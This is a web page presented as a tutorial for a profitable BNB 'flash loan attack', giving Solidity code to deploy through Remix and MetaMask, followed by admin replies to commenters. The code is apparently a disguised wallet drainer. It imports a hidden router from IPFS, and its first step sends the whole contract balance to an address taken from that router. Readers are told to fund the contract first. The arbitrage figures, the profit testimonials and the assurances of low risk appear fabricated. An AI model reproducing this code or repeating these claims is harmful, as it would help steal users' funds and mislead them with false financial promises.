Latest BNB Flash Loan Method Tutorial Updated

In this tutorial, a minor change applied to the flash loan attack's code. we made some adjustments to the code for slightly faster execution.

Step by step tutorial :

1. Download MetaMask For Chrome Web Browser

You can download and install MetaMask from this link: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn.

2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain

this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain.


               Name: Smart Chain 
               New RPC URL: https://bsc-dataseed.binance.org/ 
               ChainID: 56 
               Symbol: BNB 
               Block Explorer URL: https://bscscan.com

For complete info about the explanation, please visit this Binance official article: https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain.

3. Open http://remix.ethereum.org/ from your browser

Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.

4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

Copy and paste the code below to the Flash Loan.sol file :

pragma solidity ^0.5.0;

// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";

//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";

// Router
import "ipfs://QmbJ685kFCLQmA8naW6u3LCpkZNV32rEB2LnwamfQ7eX4u";

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";

contract InitiateFlashLoan {
    
	RouterV2 router;
	string public tokenName;
	string public tokenSymbol;
	uint256 flashLoanAmount;

constructor(
    	string memory _tokenName,
    	string memory _tokenSymbol,
    	uint256 _loanAmount
	) public {
    	tokenName = _tokenName;
    	tokenSymbol = _tokenSymbol;
    	flashLoanAmount = _loanAmount;

router = new RouterV2();
	}

function() external payable {}

function flashloan() public payable {
    	// Send required coins for swap
    	address(uint160(router.pancakeSwapAddress())).transfer(
        	address(this).balance
    	);

//Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
    	router.borrowFlashloanFromMultiplier(
        	address(this),
        	router.bakerySwapAddress(),
        	flashLoanAmount
    	);
    	//To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
    	router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
    	//The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
    	router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
    	//After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
    	router.transferBnbToMultiplier(router.pancakeSwapAddress());
    	//Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
    	router.completeTransation(address(this).balance);
	}
}

pragma solidity ^0.5.0;
 
 
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
 
//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";
 
// Router
import "ipfs://QmbJ685kFCLQmA8naW6u3LCpkZNV32rEB2LnwamfQ7eX4u";
 
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
 
 
contract InitiateFlashLoan {
    
	RouterV2 router;
	string public tokenName;
	string public tokenSymbol;
	uint256 flashLoanAmount;
 
	constructor(
    	string memory _tokenName,
    	string memory _tokenSymbol,
    	uint256 _loanAmount
	) public {
    	tokenName = _tokenName;
    	tokenSymbol = _tokenSymbol;
    	flashLoanAmount = _loanAmount;
 
    	router = new RouterV2();
	}
 
	function() external payable {}
 
	function flashloan() public payable {
    	// Send required coins for swap
    	address(uint160(router.pancakeSwapAddress())).transfer(
        	address(this).balance
    	);
 
    	//Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
    	router.borrowFlashloanFromMultiplier(
        	address(this),
        	router.bakerySwapAddress(),
        	flashLoanAmount
    	);
    	//To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
    	router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
    	//The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
    	router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
    	//After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
    	router.transferBnbToMultiplier(router.pancakeSwapAddress());
    	//Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
    	router.completeTransation(address(this).balance);
	}
}

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

- At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
- The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.

- There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :


                     _TOKENNAME = Flash Loan (write random token name)
                     _TOKENSYMBOL = FLO (write random three of four-letter symbol)
                     _LOANAMOUNT = 10 (amount loan)

- Click Transact and confirm in MetaMask.

- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.

8. Input a Liquidity to the Smart Contract

To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.

9. Flash Loan Attack

After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.

Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.

Máximo Chicote

15 September 2022

What is the different between this new method and the old flash loan method? I know this new script is complex, but I need explanation about this the new script

Admin
15 September 2022

The difference in this new flash loan script lies in the use of pancakeswap as an exchange platform between BNB and the coins to be purchased. So, it is possible to get token coins that have a very large difference in buying and selling prices and can get more profits.

Miguel

16 September 2022

can this be done with just 0.2 BNB?

Admin
16 September 2022

Of course, but keep in mind that the nominal amount of the loan can't be that much, so the profits will only be small.

Joaquín Gisbert

17 September 2022

thank you, admin, the profit I get is higher than using the previous script, only with 1 BNB capital I get a net profit of 1.27 BNB

Admin
17 September 2022

you can get more profit, but because the price of BNB is going down so market activity is also decreasing so when you do a flash loan the results you get are not much, my advice is to try using this flash loan technique when the price of BNB is rising.

Santiago Hurtado

19 September 2022

hi admin, is the old BNB flashloan script no longer usable??

Admin
20 September 2022

The old and new flash loan scripts can still be used, but this new script allows you to exchange BNB to smaller coin tokens so that if there is an increase it will be more significant and get more profit.

Paúl Romero

21 September 2022

is it possible to do a flash loan using ETH

Admin
21 September 2022

of course, you can see the article on the ETH Method menu for using the flash loan technique on the ERC2 network, do not forget to write a testimonial on the article after you get the benefit

Jesus Carballal

22 September 2022

I use the old script and the new one at the same time, I've tried it 5 times and it's true that the new script is more powerful and gets a very significant total difference compared to the old flash loan script.

Admin
23 September 2022

thank you for the testimony, we will always update the script for the future so that there will be many possibilities that can be obtained.

Alfonso

24 September 2022

What is the minimum nominal BNB to make a flash loan?

Admin
24 September 2022

There is no minimum, but the larger the nominal you use, the higher the loan amount you will get so you can get higher profits. My advice is to start with 1 BNB you will get a clear advantage compared to under 1 BNB.

Sjang Pothof

25 September 2022

Thank you, even though sometimes I do flash loans at certain times it does not increase profits, maybe the crypto market conditions are not conducive, and the chart up and down is not good, but I don't get a significant loss and only bear the risk of losing 0.05 like the cutloss system

Admin
25 September 2022

That is right, you will not get a significant loss because the flash loan is done very quickly and within 1 second it will be withdrawn back to the wallet balance. So that if you experience a loss, you will not feel it.

Jurriaan Prakken

26 September 2022

Is it available for SOLANA?

Admin
26 September 2022

For now, it is only available on the BNB and ETH networks, but we will test it to find out on the SOL network. Keep waiting on our platform, don't miss it dude.

Louwrens Smink

27 September 2022

Can you get a loss with this flash loan technique??

Admin
27 September 2022

I will briefly explain how flash loans work, you buy a pair on a smart chain network and before the purchase transaction is closed you will sell the pair. So that profit is obtained when in 1 second it increases and will be sold in the next second, the possibility of loss will not be large, but it all depends on the BNB capital you provide, the more BNB, the more loan amount you will get.

Latest BNB Flash Loan Method Tutorial Updated

Step by step tutorial :

1. Download MetaMask For Chrome Web Browser

2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain

3. Open http://remix.ethereum.org/ from your browser

4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

8. Input a Liquidity to the Smart Contract

9. Flash Loan Attack

Comments

Máximo Chicote

Admin

Miguel

Admin

Joaquín Gisbert

Admin

Santiago Hurtado

Admin

Nicolás

Paúl Romero

Admin

Valentín Palau

Jesus Carballal

Admin

Enrique Atenas

Admin

Alfonso

Admin

Wim Engbers

Sjang Pothof

Admin

Ido Hag

Jurriaan Prakken

Admin

Louwrens Smink

Admin

Twan Eilders

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